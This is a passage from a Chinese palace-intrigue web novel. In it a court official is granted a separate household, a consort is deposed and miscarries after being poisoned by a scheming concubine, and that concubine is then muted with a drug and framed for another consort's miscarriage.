莫非只因为臣是女子,便连处置自身与家族关系的权利都没有吗?
臣所请,非为背弃人伦,实为求一个清明自立,恩怨两断。”
皇帝萧衍的目光微微闪烁。
他没有立刻回答,而是缓缓扫过殿中群臣,尤其在几位以恪守礼法著称的老臣脸上停顿片刻。
他知道,自己方才当众许诺“重赏”,君无戏言,此刻若断然驳回云昭这“出格”的请求,确实有损帝王威信。
但若轻易答应,势必引发朝野对“礼法”与“女子权益”的激烈争论,甚至可能被有心人引申解读。
他沉吟片刻,目光最终落回云昭身上,语气听不出喜怒,却带着帝王的威压:
“朕既许诺于你,自是一言九鼎,断无反悔之理。
但姜爱卿,你此求非同小可,朕需一个足以服众的理由。
否则,不仅朝堂之上议论难平,传到民间,恐亦会引发诸多无端猜度。”
云昭闻言,脸上适时地浮现出一抹混杂着无奈与苦涩的笑意。
她抬眼环视周遭那些或好奇、或审视、或等着看热闹的面孔,声音微扬,带着一丝不易察觉的嘲弄:
“陛下,诸位大人,非要臣将话说得那般明白么?
近日京中沸沸扬扬的传言,想必在座各位早有耳闻,又何必在此处佯做不知,逼臣亲口揭自家的疮疤呢?”
她的话像一颗石子投入平静的湖面,殿内窃窃私语声陡然变大。
有人恍然,以袖掩口,对同僚低语:“哦!莫不是指昨日……那玉珠公主车驾前的事?”
另一人语气鄙夷第接话:“必然是!听闻那位兰台公子,为讨好朱玉国的玉珠公主,竟不顾朝廷体面、士人风骨,当街跪伏,以髀为凳,供那番邦公主踩踏登车!”
“何止!”旁边有人补充,摇头叹息,“据说当时满街百姓都瞧见了!姜大公子那般作态……唉,难怪姜司主觉得不堪其扰。有这般兄长,确实令人颜面无光,羞与为伍。”
“可即便如此,终究是家丑,闹到御前断亲,是否太过?”
“你懂什么?姜司主如今是何等身份?御前哄人,玄察司主,未来秦王妃!岂能终日与这等毫无气节、**失仪之人同为一家,受其牵连?”
议论声虽低,却清晰地传入御座之上。
侍立在皇帝身侧的常玉,见状微微躬身,凑近皇帝耳边,用极低的声音快速禀报了昨日发生在阮府门前的来龙去脉。
皇帝原本对云昭昨日当街“教训”番邦公主、扬我国威之事颇为满意,觉得此女有胆有识。
此刻才知,那场比试的背后,竟还藏着姜珩如此不堪的行径!
他本就对姜世安教子无方、姜珩虽有才学却心性软弱留有印象,如今听闻此事,心中那点微妙怜悯瞬间消散,取而代之的是对臣子失仪的恼怒,以及对云昭处境的理解——
堂堂朝廷命官、未来秦王妃,天天被这等混账兄长拖累名声,确实难堪!
更何况,苏氏女已与姜世安和离,爹娘不睦,兄弟混账,也难怪姜云昭不想再认姜家!
皇帝的目光扫向下首处沉默不言的苏文正,这位老臣家中都发生过什么变故,这些年来皇帝心知肚明。
如今既要起用苏家,皇帝也有心卖苏老大人一个人情。
帝王的脸色阴沉下来。
他不再看下面议论纷纷的群臣,目光转向云昭:“姜爱卿身为朝廷栋梁,屡立奇功,更兼未来秦王妃之尊,清誉体面至关重要。
既有家事纷扰,影响公事,朕便准你所请。
着户部、刑部会同京兆府,依律办理姜云昭与姜世安一房分户析产之事,务必清晰明了,免生后患。
至于‘断亲’之名……便以‘另立女户,别籍而居’为宜。
姜爱卿忠君体国,当有此自立之权。”
“女户”二字,可谓说到了云昭的心坎上。
这是云昭自重生以来的心愿之一,今日竟当着满朝文武的面,堂堂正正地达成了。
她躬身:“臣领旨,谢恩。”
皇帝一锤定音,既全了承诺,又顾及了礼法表面,更暗含了对云昭的维护。
至于姜家的脸面?如今的姜世安和姜珩,在皇帝心中已毫无价值可言,不值得他多费心思。
这场惊心动魄的朝会,最终落下了帷幕。
然而,朝堂之上的风云暂歇,后宫之中的波澜,却刚刚开始掀起。
*
披香殿。
往日奢华富丽、熏香缭绕的宫殿,此刻被一种山雨欲来的肃杀与慌乱笼罩。
殿门被猛地推开,一队面无表情、甲胄森严的宫廷侍卫鱼贯而入。
为首之
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人,正是御前太监常海。
他努力挺直腰背,手中捧着一卷明黄色绢帛,手心却已沁出冷汗。
这……这可是他第一次独立承办如此“重大”的旨意——
抄检贵妃宫殿,宣废黜旨意!
“你们……大胆!”一声尖锐的呵斥从内殿传来。
昔日宠冠六宫的孟贵妃,此刻云鬓微乱,只穿着一身素净的常服,在几名贴身宫女的簇拥下疾步走出。
她艳丽的脸上血色尽失,却强撑着往日的威仪,指着常海等人,声音因惊怒而颤抖:“谁给你们的狗胆,擅闯本宫殿宇?都给本宫滚出去!”
常海深吸一口气,强迫自己镇定。
他展开手中的圣旨,尖细的嗓音因刻意拔高而显得有些刺耳,却一字一句,清晰无比地宣读:
“奉天承运皇帝,制曰:贵妃孟氏,恃宠而骄,纵族行凶。其兄孟峥,欺君罔上,杀良冒功,罪证确凿,已伏国法。孟氏一族,罪孽深重,无可宽宥。
孟贵妃既出罪族,难承恩泽,着即褫夺贵妃封号,废为庶人。
念其曾侍奉朕躬,略有微劳,特准迁居永巷静思苑,静思己过,非诏不得出。钦此!”
静思苑?那不就是……冷宫中最偏僻破败的一处院落?!
孟清妍如遭五雷轰顶,踉跄后退一步,撞在身后的屏风上,发出“哐当”一声响。
她难以置信地瞪大眼睛,拼命摇头:“不……不可能!陛下不会这么对我!兄长……我兄长是护国大将军!陛下一定是受了小人蒙蔽!我要见陛下!我要见我兄长!”
她嘶喊着,往日秋水般的眸子里此刻充满了疯狂与绝望,妆容精致的脸扭曲变形。
常海合上圣旨,面无表情地看着这位昔日的后宫之主,语气公事公办:
“庶人孟氏,接旨吧。陛下有令,念你身怀龙裔,特许幽居静思苑,安心‘养胎’。已是格外开恩了。”
“身怀龙裔……”
孟清妍下意识地捂住自己的小腹,眼中骤然迸发出最后一丝希冀的光芒,但这光芒随即被更深的恐惧淹没。
幽居冷宫“养胎”,那和囚禁有何区别?
这孩子……还能平安生下吗?
而一直静静侍立在孟清妍身侧阴影里,几乎被人忽略的梅柔卿,此刻缓缓抬起了低垂的眼睑。
她看着孟清妍失魂落魄的模样,看着她从云端跌入泥泞的惨状,那双惯常恭顺温柔的眸子里,再也掩饰不住地流露出一丝快意与恶毒的光芒,如同暗中窥视猎物濒死的毒蛇。
“娘娘!娘娘您怎么了?!”
突然,一名小内侍惊恐地尖叫起来,手指颤抖地指向孟清妍的裙摆。
众人循声望去,只见孟清妍浅色的裙裾下方,正缓缓洇开一小片刺目的鲜红,并且那红色还在迅速扩大!
第228章 毒害娘娘之人,正是梅氏!
“血……是血!”宫女们顿时乱作一团。
孟清妍自己也感觉到了腹中传来的、越来越清晰的坠痛,她脸色惨白如纸,冷汗瞬间浸湿了鬓发,痛呼一声,捂着肚子软软地向地上滑去。
一直跪在孟清妍脚边,死死低着头的大宫女锦屏,肩膀剧烈地颤抖起来。
她带着哭腔喊了一声:“娘娘!”却并未立刻上前搀扶。
是她!一定是梅氏!
今天早上,梅姨娘亲手炖了一盅据说有安神补血功效的汤,殷勤地劝贵妃服下。
她当时隐隐提醒了贵妃一句,却被贵妃不耐烦地斥退。
贵妃对梅氏的信任,早已超出了寻常主仆。
谁知……这才过了不到两炷香的光景!
锦屏的心沉到了谷底,又涌起一股强烈的期冀。
按照宫规,主子被废入冷宫,她们这些贴身宫女虽然会受些责罚,但通常不会被一同囚禁,多半是打发到其他各处做粗使,熬过一段时间,到了年限还是能放出宫去的。
她绝不想跟着贵妃去那**不吐骨头的冷宫!
更不想继续待在这个有梅氏这个毒妇在的地方!
常海也傻眼了,额头上瞬间冒出一层白毛汗。
陛下只说要废了贵妃打入冷宫,可没说要弄掉龙胎啊!
这要是在他宣旨的时候,贵妃肚子里的皇嗣出了事……他十个脑袋也不够砍的!
“快!快去请太医!请最好的太医!”
常海尖着嗓子吼道,声音都变了调,“你们几个,小心扶着……扶着庶人孟氏!快——!”
此事非同小可,他必须立刻、亲自去回禀陛下!绝不能替任何人背这口黑锅!
常海觉得自己最近简直是霉运当头!
第一次出宫去姜家宣申饬旨意,就遇上姜家那群胡搅蛮缠的,被推搡得摔破了头;
今天第一次独立办这么大的差事,又碰上贵妃见红……
他怎么就这么倒霉?
要知道,别人倒霉顶多破财,他倒霉可是要掉脑袋的啊!
他猛地想起之前师父常玉曾得意地炫耀,说姜司主送的“安眠符”如何灵验,让他一夜好梦。
常海咬咬牙,下定决心:等这事了了,他就是掏光自己攒了多年的体己银子,也非得去求姜司主问问,有没有那种能转转运、避避祸的“平安符”或者“好运符”!
这差事干的,太吓人了!
几乎在常海话音落下的同时,锦屏也像被针扎了一样猛地跳起来,语速飞快:“奴婢去!奴婢认得去太医院最近的路!”
说完,不等常海反应,她已提起裙摆,如同受惊的兔子般,嗖地一下冲出了披香殿,速度之快,令人咋舌。
常海看着锦屏瞬间消失的背影,愣了一下,随即也反应过来,一跺脚,赶紧也朝殿外跑去,方向却是皇帝日常处理政务的养心殿。
他必须尽快把这里发生的一切,原原本本禀告给陛下!
两人一前一后,一个为了求生,跑得飞快!
*
一片狼藉、人心惶惶的披香殿内,孟清妍已痛得蜷缩在地,冷汗和血污弄脏了她精致的衣裙和光洁的地面。
腹中刀绞般的痛楚一阵猛似一阵,她感到那个与她血脉相连的小生命正在迅速流逝。
无边的恐惧和绝望淹没了她。
“锦屏……救我……救我的孩子……”
她虚弱地呼唤着最信任的宫女的名字,声音细若游丝。
然而,回应她的,并非锦屏,而是一道缓缓笼罩下来的阴影。
孟清妍艰难地抬起沉重的眼皮,模糊的视线中,出现了梅柔卿那张温柔依旧,此刻却显得无比诡异的脸。
梅氏蹲下身,掏出一方干净的帕子,动作堪称轻柔地替孟清妍擦了擦额头上淋漓的冷汗。
“娘娘,您就安心地睡一觉吧。睡醒了,肚子也就不疼了。”
她凑近些,用只有两人能听到的音量,细声细语,却充满了怨毒的恶意,“您想啊,那永巷静思苑,吃不好,睡不好,缺医少药,条件那么差。
这孩子就算勉强生下来,跟着您在那地方,也是活受罪,何必呢?
倒不如……让他早早解脱,也好过来这世上遭罪,您说是吗?”
孟清妍双目骤然圆睁,瞳孔紧缩,难以置信地瞪着眼前这张熟悉又陌生的脸:“你……你怎么敢?毒妇!!!”
梅柔卿低笑起来,声音喑哑:“我有什么不敢的?我的女儿绾心,此刻也正和您受着一样的苦楚呢。
就劳烦娘娘肚子里的‘龙胎’,也陪着我家心儿的孩儿,一块儿去那黄泉路上走一遭吧。
路上,两个孩子也能彼此有个照应,不至于太孤单,您说是不是?”
她早已算计清楚。
宋白玉临死前布下的血咒太过阴毒霸道,即便是玉衡**出手,将部分咒力转移到了姜老夫人身上,残余的部分依然对绾心有着致命影响。
唯有让肚里的孩子承受孽果,才能保心儿平平安安,清清白白地继续活着。
今日真是老天开眼!
孟家倒台,孟贵妃被废,连她腹中这个可能威胁太子和心儿的“变数”也一并解决。
只要绾心还留在太子身边,凭着太子的宠爱,她们母女就还有机会。
太子妃之位……她们还能徐徐图之。
梅柔卿站起身,不再看地上眼神逐渐涣散的孟清妍。
她整理了一下自己的衣袖,脸上重新挂起那副人畜无害的恭顺表情,缓步向外走去。
谁知,刚踏出披香殿描绘着金漆牡丹的门槛,两名身着玄甲、面无表情的侍卫便如同铁塔般,悄无声息地拦在了她的面前。
梅柔卿心头微凛,换上了一副惊惶的神色,声音也放得愈发柔婉:“二位大人,妾身并非贵妃娘娘殿中之人。
妾身是东宫姜奉仪的生母梅氏,今日是贵妃娘娘传召,妾身才斗胆前来觐见。
如今娘娘……突逢变故,妾身心中惶恐,正欲告退,不敢再扰娘娘清净……”
她语气恳切,几句话就将自己撇得干干净净。
侍卫们神色冷硬如铁,对她的解释置若罔闻,依旧像两尊门神般拦着,显然得到了严令,不许任何人随意离开。
就在梅柔卿心中念头急转,思量着如何脱身之际,旁边另一名原本守在侧面的侍卫,目光锐利地在她脸上停留片刻,忽而上前一步,压低声音:“你……当真是姜奉仪的生母,梅氏?”
梅柔卿心中一动,连忙点头,语气更加恭顺:“正是妾身。”
那侍卫没有回答,只是用眼神示意了一下旁边同伴,然后对梅柔卿道:“既如此,你随我来。”
梅柔卿心中疑窦顿生,但她到底急于从披香殿脱身,便暂且压下疑虑,跟在这名侍卫身后,抓紧离开了这片混乱之地。
走出一段距离,来到一处相对僻静的夹道。
那侍卫回头,见梅柔卿步伐迟疑,不由得不耐烦地催促:“快些!莫要耽搁!殿下还在等着!有关孟庶人宫中的事,殿下有些事情要当面问你。”
殿下?太子殿下!
梅柔卿恍然,心中的疑云瞬间散去大半。
是了,孟家骤然倒台,贵妃被废,太子殿下必定心急如焚,最挂心的,自然就是贵妃肚子里那块肉!
梅柔卿面露讥诮,太子此刻急着找自己,恐怕正如当初碧云寺之行叮嘱心儿那般,还想让自己暗中帮忙照看贵妃吧?
可惜啊,殿下,您还是晚了一步。
梅柔卿心中转着这些念头,脸上却适时地流露出对太子召见的“诚惶诚恐”,脚步也加快了些,紧紧跟
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上前方的侍卫。
她沉浸在对未来的盘算中,因而也就没有格外留意周围环境的变化,更没注意到,自己正被引向深宫之中的一处寝殿。
那侍卫在一处宫苑侧门前停下,示意梅柔卿进去。
梅柔卿不疑有他,抬脚迈过门槛。
就在她一只脚踏入殿内阴影的刹那——
“啪!”
一记沉重的闷响,伴随着小腿胫骨传来钻心的剧痛!
梅柔卿猝不及防,惨叫一声,整个人失去平衡,向前狠狠扑倒在地,摔得眼冒金星,发髻散乱。
她的腿!
她的腿必是断了!
还未等梅柔卿从这突如其来的袭击中反应过来,两只铁钳般的大手已从左右将她死死摁住!
力道之大,让她丝毫动弹不得,脸颊紧贴着粗糙的地砖,口鼻呼吸都变得困难。
与此同时,殿内深处,骤然响起一阵撕心裂肺、哭天抢地的女子悲鸣:
“娘娘!娘娘您千万要挺住啊!御医!快传御医!娘娘您不能有事啊!”
“孩子……我的孩子……陛下……救救我们的孩子……”
一个虚弱而凄楚的女声断断续续地传来,充满了绝望与痛苦。
梅柔卿被摁在地上,视线受阻,只能听到这混乱的哭喊,心中一片茫然和惊骇。
这是哪里?发生了什么?
这分明不是披香殿,那女子的声音听着也并非贵妃,为何也会凄叫自己的孩儿?
就在这时,一道不带丝毫感情的男声,自她头顶上方响起,清晰地回荡在殿内:
“抓到了!毒害柔妃娘娘的真凶——正是此妇!”
什……什么?!
梅柔卿如遭雷击,大脑瞬间一片空白!
她奋力挣扎,想要抬头辩驳:“不!不是我……”
然而,她的话还未说完,下巴就被人粗暴地捏住、抬高。
紧接着,一只冰冷粗糙的手捏开她的牙关,将一口气味刺鼻、冰凉酸涩的液体,不由分说地灌进了她的喉咙!
“咕咚……”
梅柔卿被迫吞咽,那液体滑过食道,带来一阵怪异的灼烧与麻木感。
灌药完毕,那只手松开。
梅柔卿呛咳着,泪眼模糊地抬起头,看向眼前之人——
那是一个穿着普通宫女服饰、面容却完全陌生的年轻丫鬟,正微微俯身,似笑非笑地看着她。
四目相对,那丫鬟眼中没有丝毫慌乱或畏惧,反而带着一种猫捉老鼠般的戏谑。
她凑近梅柔卿的耳边,用只有两人能听到的、细若蚊蚋却字字清晰的声音,低语道:
“奴婢帮人传句话——”
梅柔卿瞳孔骤缩。
那丫鬟继续道:“梅姨娘,您当年是如何串通林静薇害人的,我不过问了。”
林静薇?!
梅柔卿浑身剧烈一震,仿佛血液都在瞬间冻结!
这是她隐藏最深、自以为永无人知的秘密!怎么可能……怎么会有人知道?
还是以这种方式,在这个时候提起?!
要知道,这些年来,她和林氏再没有私下联系过哪怕一次!
那丫鬟继续道:
“今日,便让您也尝一尝,这百口莫辩、被人冤屈、跳进黄河也洗不清的滋味儿。”
“你……!”
梅柔卿从巨大的震惊中勉强拉回一丝神智,她瞪大眼睛,死死盯着眼前这张陌生的脸,“你是姜……!”
她想喊:你是姜云昭派来的!
然而,一个“姜”字刚刚出口,后面的话却如同被一只无形的大手死死扼住,彻底湮没在了她的喉咙深处!
她张大了嘴,拼命想要发出声音,想要嘶喊,想要辩驳,可是……没有声音!连一丝气音都发不出来!
她……哑了!就在被强行灌下那口诡异的药水之后!
第229章 服毒自毁
就在这时,殿外传来一阵急促而威严的脚步声,伴随着内侍尖细的通报:
“陛下驾到——!”
紧接着,是女子凄婉的哭声:“陛下!我们的孩儿,陛下要给臣妾做主啊——!”
梅柔卿被人粗暴地从地上提溜起来,扭押着转向殿门方向。
她挣扎着,嗬嗬地试图发出声音,却只有破碎的气流摩擦声,如同破旧的风箱。
她被押着,踉跄地拖入内殿。
漪兰殿内里,布置与孟贵妃披香殿的富丽堂皇截然不同,处处透着别具巧思的清雅韵味。
殿内焚着清幽的冷香,多宝阁上摆放的不是金玉俗物,而是古籍、孤本、形态奇雅的根雕与素瓷花瓶;
帷幔用的是雨过天青色的软烟罗,上面绣着疏淡的兰草;
窗边琴案上搁着一架焦尾古琴,旁边香炉青烟袅袅。
一器一物,无不彰显着主人深受圣宠。
其恩宠之盛,比之昔日的孟贵妃,恐怕有过之而无不及。
梅柔卿被这突如其来的陷害打得晕头转向,神思恍惚间,目光扫过这满殿清贵雅致的布置,心中升起一丝鲜明的刺痛。
这不就是……她曾经在无数个深夜里,幻想过无数次,她的心儿应该过的生活吗?
住在这样雅致的宫殿里,被帝王真心呵护,拥有世人仰望的体面与尊贵……
而不是像现在这样,在东宫做一个战战兢兢、如履薄冰的九品奉仪,还要忍受恶咒的折磨!
迷迷糊糊中,梅柔卿感到自己被押着跪倒在冰凉的地上。
前方不远处的锦绣榻上,隐约传来女子心碎的啜泣声。
一个冰冷而威严的男声,响彻殿内:
“给柔妃**,致使皇嗣夭折的……就是她?”
短暂的沉默,似是有人确认。
那声音再次响起,每一个字都带着帝王被触及逆鳞的震怒,直指跪地哑口的梅柔卿:
“梅氏——说!是谁派你来的?是孟氏余孽?还是……
帝王的声音微微一顿,随即吐出几乎让梅柔卿魂飞魄散的两字:“——太子?”
梅柔卿浑身一震,意识彻底回笼!
她被人从后方狠狠掐住下巴,被迫挺起胸膛,直面帝王威压。
殿内死寂,唯有更漏声滴答作响。
梅柔卿面前,摆着一叠桂花糖糕。
皇帝坐在上首,目光沉沉地落在她身上,尚未开口,一个瑟瑟发抖的小宫女被带了上来。
梅柔卿目光一凝,这小丫头,正是方才在殿外给她嘴里喂药的那个宫女!
方才在外面对着自己放话,她是何等嚣张跋扈!此时却一副可怜巴巴的受气包模样!
故作柔弱,令人作呕!
“奴婢……奴婢叩见皇上,叩见娘娘。”小宫女伏在地上,声音发颤。
“翠果,”柔妃身旁的大宫女沉声道,“你将今日所见,如实禀报皇上。”
“是……”翠果深吸一口气,头垂得更低,“今日辰时三刻,奴婢奉柔妃娘娘之命,去膳房取新制的桂花糖糕。在膳房东侧的炖品区,奴婢看见了……看见了这位梅氏。”
她顿了顿,似在回忆:“梅氏当时独自一人,守着一个红泥小炉,炉上煨着一个陶罐。
当时外面也不知怎的,忽然传来一阵奇怪的鸟叫声,大家伙儿都跑出去瞧,奴婢也转头看了一眼……”
说到这,小宫女懊恼得像是要哭出来:“奴婢牢记着姑姑吩咐,真的只是转过脸看了一眼,而后就端起桂花糖糕离开了。”
她说完,又重重磕了个头,“奴婢所言句句属实,求皇上明鉴!”
皇帝的眼神,在这一刻变了:“梅氏,你,有何话说?”
梅氏猛地抬起头,脸上血色尽褪。
她今早去膳房给孟清妍炖汤,自是为了下毒!
可她从未打过柔妃的主意!那可是皇帝的妃子!怀的是龙胎!跟孟清妍肚子里的孽种怎么一样!
就是给她一百个胆子,她也未曾动过这个念头!
更何况,当时那院中的怪鸟声音,她也听着了的……想到这,梅柔卿心底泛起一丝寒意。难道,从那时起,她就已然在局中了?
可这里是皇宫!姜云昭就是再厉害,怎么可能将人手安排到御膳房?
她又怎会知晓,自己今晨会在御膳房,专门候着给孟清妍炖补汤?
梅柔卿剧烈地摇着头,嘴唇急颤,想拼命呐喊“不是的”、“我没有”,可喉咙里却只发出“嗬……嗬……的气音。
那双总是盈着柔顺水光的眸子此刻瞪得滚圆,里面、盈满了急欲辩白的焦灼!
她伸手抚向自己的喉咙,却只能发出嘶哑的气音。
皇帝萧衍眉头紧锁审视着她,眼中疑云与怒意交织。
柔妃虚弱地靠坐在皇帝怀里,抬起泪眼,细声道:“陛下,她、她好像……不能说话了?”
皇帝沉声道:“邹太医?”
“微臣在。”一个沉稳的青年声音应道。
此人正是太医院院判章太医的得意门生兼甥孙,御医邹文清。他亦是前日在殷府,曾跟随云昭一同查验阮鹤卿尸身、对云昭手段颇为钦佩的两位年轻御医之一。
今早章太医被孟峥掌风所伤,撞伤了腰脊,此刻仍在太医署静养,故而此番随驾的是他。
侍卫略松了力道,但仍牢牢制住梅柔卿的双臂。
梅柔卿泪眼朦胧望着邹太医,满眼祈求之色!
姜云昭给她下的是毒,而非咒术!
只要御医检查她的口腔,再为她仔细号脉,必定能查出**的迹象!
哪怕她暂时哑了,只要查出毒源,就有机会解毒,就能开口说话,就能揭露姜云昭的真面目!
邹太医面色沉静,先是用一方干净的白绢垫着手,捏开她的下颌观察咽喉。
随即,他示意侍卫将梅柔卿的一只手固定,伸出三指,稳稳搭在她的腕脉之上,凝神细诊。
梅柔卿屏住呼吸,心脏狂跳,死死盯着邹太医沉静的脸。
果然,邹太医的眉头渐渐蹙了起来,诊脉的时间也比寻常更长了些。
然而下一刻,邹太医的动作却让她猝不及防!
只见邹太医忽然收回手,对压制梅柔卿的侍卫沉声道:“按住她的手腕,掰开她的手!”
侍卫依言,用力掰开梅柔卿一直下意识紧攥着的右手。
一方质地上乘的素色锦帕,从她汗湿的掌心滑落。
邹太医用镊子小心翼翼夹起那方帕子,凑近鼻端嗅了嗅。随即,他脸色一肃,转向御座方向,朗声禀报道:
“启禀陛下,娘娘!微臣已查验清楚——
此妇人并非遭人下毒,而是自己服毒,意图毒哑自己,毁灭证据,逃避审讯!”
梅柔卿如遭晴天霹雳,猛地瞪大眼睛,疯狂摇头,喉咙里发出嗬嗬的怪响:“唔!唔唔唔!!”
不可能!她又不是得了失心疯!怎么可能自己毒哑自己?!
这御医在胡说八道!他一定是被收买了!
为了便于
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皇帝看清,邹太医特意上前两步,将帕子托在掌心,指着上面一处颜色略深的湿痕,条理清晰地解释道:
“陛下请看,此毒名为‘枯肠散’,性状奇特,遇水即融。
常人只需服下米粒大小的一丁点儿,喉管便会迅速麻痹溃烂,声音立毁,终生沦为哑巴。”
他顿了顿,目光扫过地上惊恐万状的梅柔卿:“而观此妇人脉象,气血逆冲,**之深,绝非微量。
因此,她不仅嗓子已彻底损坏,无法发声,更严重的是……毒素已侵入肠腑,正在缓慢腐蚀她的肠道!”
枯肠散?肠穿肚烂?梅柔卿浑身剧颤,她简直不敢相信!
而且她怎么感觉不到肚子里有什么感觉?定是这御医在撒谎!
就听邹太医紧接着又道,指向帕子:“陛下,娘娘,此毒特性之一,便是可以预先浸染在丝帕、衣角等物之上。
待需要时,只需用沾有口水的舌尖或嘴唇触碰湿毒之处,**便会顺势入口,发作极快。
微臣方才检查,这毒……就浸染在她这方帕子上!”
这时,先前那个诱骗梅柔卿前来漪兰殿的侍卫,忽而上前一步,单膝跪地,对皇帝禀报道:
“陛下明鉴!卑职方才在漪兰殿附近巡查,见此妇人鬼鬼祟祟,躲在廊柱阴影后向内张望,形迹十分可疑。
卑职恐其对柔妃娘娘不利,于是上前将其擒获。制住她的过程中,就曾亲眼看见她迅速用这方帕子捂了一下嘴!
当时只以为是妇人惊慌之举,未曾深想……如今看来,定是那时她见行迹败露,便服毒自毁!
都怪卑职疏于防范,未能及时察觉,竟让这恶妇有机会服毒,毁灭了开口指证幕后主使的机会!请陛下责罚!”
柔妃身边的大宫女眼圈泛红地指控:“定是她在柔妃娘娘的桂花糖糕里下了毒!方才鬼鬼祟祟,就是来探听消息的!”
邹太医接着道:“她也确是兵行险着!这‘枯肠散’毒性猛烈,她服下的剂量,若是再多上些许,恐怕此刻已是一具毒发暴毙的尸体了!
想来,也是她仓促之间,未能准确控制分量。”
这时,依偎在皇帝怀中的柔妃,抬起泪痕斑驳的苍白小脸,声音虚弱道:
“到底……到底是谁这般狠毒?不仅害**嫔妾还未出世的孩子,竟……竟还逼得梅氏服毒自毁?这是要死无对证吗?”
她说着,又伤心地低泣起来。
梅柔卿被这一连串的“证据”和指控打得晕头转向,百口莫辩。
她的目光瞥向不远处窗边书案上摆放的纸笔,喉咙里发出急切的“嗬嗬”声,伸手指向那个方向。
皇帝敏锐地注意到了她的动作,眉梢微挑:“你会写字?”
梅氏连连点头!
柔妃也止住了哭泣,目光随之望去,眼底深处,掠过一丝冰冷的锐光。
皇帝沉声命令:“给她纸笔。”
一名内侍迅速取来笔墨纸砚,铺在梅柔卿面前的地上。
梅柔卿如同濒死之人抓住浮木,不顾一切地扑过去,抓起那支狼毫笔,蘸饱了墨汁,因为手抖得厉害,墨汁滴落污了纸张也顾不得了。
她用尽全身力气,颤抖着、却又无比清晰地,在雪白的宣纸上,写下了三个力透纸背、充满恨意的大字——
姜、云、昭!
写罢,她猛地抬起头,布满血丝的眼睛死死盯住皇帝和柔妃,脸上混合着怨毒、快意与一丝终于能“开口”指控的癫狂。
第230章 我就是做鬼也不会放过你!
皇帝看着那三个字,脸色骤然阴沉如暴风雨前的天空:“你是说……姜云昭是给你下毒?”
梅柔卿拼命点头,因激动而浑身颤抖。
然而,就在她点头的瞬间,她清晰地捕捉到了皇帝怀里,柔妃眼中一闪而过的神色——
那不是惊讶、愤怒,而是一种……了然的嘲弄,仿佛在看一个自寻死路的蠢货。
一股彻骨的恶寒,瞬间从梅柔卿的尾椎骨窜上头顶,让她激灵灵打了个寒颤!
紧接着,就听柔妃用她那特有的、柔弱却清晰的嗓音,轻轻缓缓地道:
“陛下……怪不得云昭妹妹今日在朝堂上,那般坚决地要与姜家断亲分家……”
梅柔卿双瞳微缩!
姜云昭竟然与姜家断亲了?这是何时的事,怎的她全然不知?
柔妃微微喘息,仿佛每说一句话都很耗费力气:“如今看来,这梅氏……也忒是恶毒了。自己做了这等伤天害理之事,竟还想攀诬云昭妹妹?”
她抬起泪眼,不解又委屈地看向皇帝:“云昭妹妹她……为何要害嫔妾呢?”
梅柔卿听得连连摇头,刚写了“污蔑”二字,又意识到自己还未解释清早为何会出现在御膳房,连忙又写了“给贵妃炖补汤”几个字。
可不论皇帝还是柔妃,谁都不曾往她面前涂写的纸张上看过一眼。
就听柔妃慢吞吞第分析道:“陛下,云昭妹妹,她今正得陛下信重,前途无量,与嫔妾……关系也算亲近。害了嫔妾,对她能有什么好处呢?”
“好处”二字,被她以一种极其自然、却又无比精准的方式吐出。
轻轻巧巧,却如同投入平静湖面的石子,瞬间在皇帝多疑的心中漾开了圈圈涟漪。
是啊,姜云昭害柔妃,能得什么好处?
她刚立大功,圣眷正浓,又是未来的秦王妃,与柔妃并无利益冲突,甚至柔妃对她还颇为友善。
害死柔妃的孩子,对她百害而无一利。
反倒是这梅氏,身为姜云昭生父的妾室,却与孟贵妃过从甚密,其女更是东宫奉仪……
这里面的牵扯,可就深了。
皇帝的眼神,霎时间变得更加幽深难测。
梅氏急得举起面前写了字迹的纸张,可一对上皇帝的双眼,当即如坠冰窟——
写字太慢了!
短短瞬息,柔妃已然分析了很多,但同样的时间里,她很难用写的,将事情来龙去脉讲清楚。
落入皇帝眼中,反倒成了胡乱攀扯,不足取信!
就在这时,殿外忽然传来一阵由远及近、几乎跑岔了气的叫喊声:
“陛下!陛下——!!陛下您在吗?!出大事了陛下——!!!”
是常海的声音!
只见常海连滚带爬、气喘如牛地冲进漪兰殿。
他先是跑去了养心殿,扑了个空,得知皇帝来了漪兰殿,又马不停蹄地狂奔过来,此刻只觉得肺叶火辣辣地疼,腿肚子直转筋。
待他好不容易喘匀一口气,抬头看清殿内情形,尤其是地上跪着的梅柔卿时,不禁瞪大了眼睛,脱口惊呼:“你怎会在此处?!”
他这一大圈跑得差点断了气,怎么这梅氏……居然比他还先到了柔妃娘娘宫里?
皇帝闻言,双眼危险地一眯,寒声问道:“她应该在何处?”
常海被皇帝冰冷的语气吓得一激灵。
他连忙跪好,回禀道:“回陛下的话!
方才奴才奉旨去披香殿向孟庶人宣旨,这梅氏当时就在孟庶人身旁伺候着!
孟庶人接旨后……突有不妥,奴才急着来禀报陛下,命人去请太医,这才离开片刻。
她、她怎么跑到漪兰殿来了?”
常海看向梅柔卿的目光,写满了清澈的不解。
梅柔卿见常海到来,连忙抓起笔,在纸上飞快写道:“孟氏危,妾出来是寻人求助。”
常海见状,也连连点头附和:“是啊陛下!孟庶人她……她似有小产之兆,裙上见红!奴才不敢耽搁,一面命人速去太医院,一面就赶紧来寻陛下拿主意!”
皇帝的神色却愈发冰冷,目光如刀锋般刮过梅柔卿惨白的脸,又扫过怀中柔弱垂泪的柔妃,声音里不带一丝温度:
“孟氏只是‘似有小产之兆’,而朕的柔妃……却已真真切切地小产了!”
常海愣了一下,后知后觉地意识到,恐怕柔妃娘娘小产之事,已被陛下认定与这梅氏脱不了干系。
他连忙叩首:“奴才愚钝!奴才这就返回披香殿,务必查清孟庶人究竟如何……”
“不必了。”
皇帝冷冷打断他,目光转向殿内阴影处一个如同隐形人般侍立的侍卫首领,
“速去披香殿,查探清楚孟氏的真实状况,即刻回禀。”
“是!”顾影抱拳领命,身影一闪,便如鬼魅般悄无声息地掠出了殿外。
梅柔卿脑中念头急转,一边飞快写着自证的字句,指尖却控制不住地剧烈颤抖起来,墨笔差点脱手。
她给孟清妍下的,是一种药性极烈的落胎散!
方才她离开披香殿时,孟清妍已然腹痛见红,那孩子绝无可能保住!
只要皇帝派人去查,很快就能证实孟贵妃确已小产。
而她可以向陛下解释,她分明是在贵妃小产之后,才被那个假侍卫骗来漪兰殿的!
时间上完全对不上!
想到这里,一股绝处逢生的庆幸,悄然压过了些许恐惧。
幸亏她下手够快够狠!
否则,今日这环环相扣的死局,她还真要被姜云昭那小**给彻底钉**!
等她今日能活着出宫……她定要倾尽全力,联合玉衡**,将姜云昭那个祸害彻底咒杀!
